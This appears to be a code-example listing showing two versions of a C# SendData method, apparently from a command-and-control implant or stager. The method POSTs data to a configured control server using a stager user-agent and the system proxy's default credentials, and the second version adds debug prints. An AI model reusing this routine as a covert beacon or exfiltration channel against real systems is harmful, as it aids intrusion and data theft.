Beispiel #1
0
 ////////////////////////////////////////////////////////////////////////////////
 //
 ////////////////////////////////////////////////////////////////////////////////
 public byte[] SendData(string uri, byte[] data)
 {
     byte[] response = new byte[0];
     using (WebClient webClient = new WebClient())
     {
         webClient.Headers.Add("User-Agent", sessionInfo.GetStagerUserAgent());
         webClient.Proxy             = WebRequest.GetSystemWebProxy();
         webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
         response = webClient.UploadData(sessionInfo.GetControlServers().First() + uri, "POST", data);
     }
     return(response);
 }
 ////////////////////////////////////////////////////////////////////////////////
 //
 ////////////////////////////////////////////////////////////////////////////////
 public byte[] SendData(string uri, byte[] data)
 {
     byte[] response = new byte[0];
     using (WebClient webClient = new WebClient())
     {
         webClient.Headers.Add("User-Agent", sessionInfo.GetStagerUserAgent());
         webClient.Proxy             = WebRequest.GetSystemWebProxy();
         webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
         Console.WriteLine("this is the uri string: " + uri);
         Console.WriteLine("website to reach: " + sessionInfo.GetControlServers().First() + uri);
         //old call with the request address being built here
         response = webClient.UploadData(sessionInfo.GetControlServers().First() + uri, "POST", data);
     }
     return(response);
 }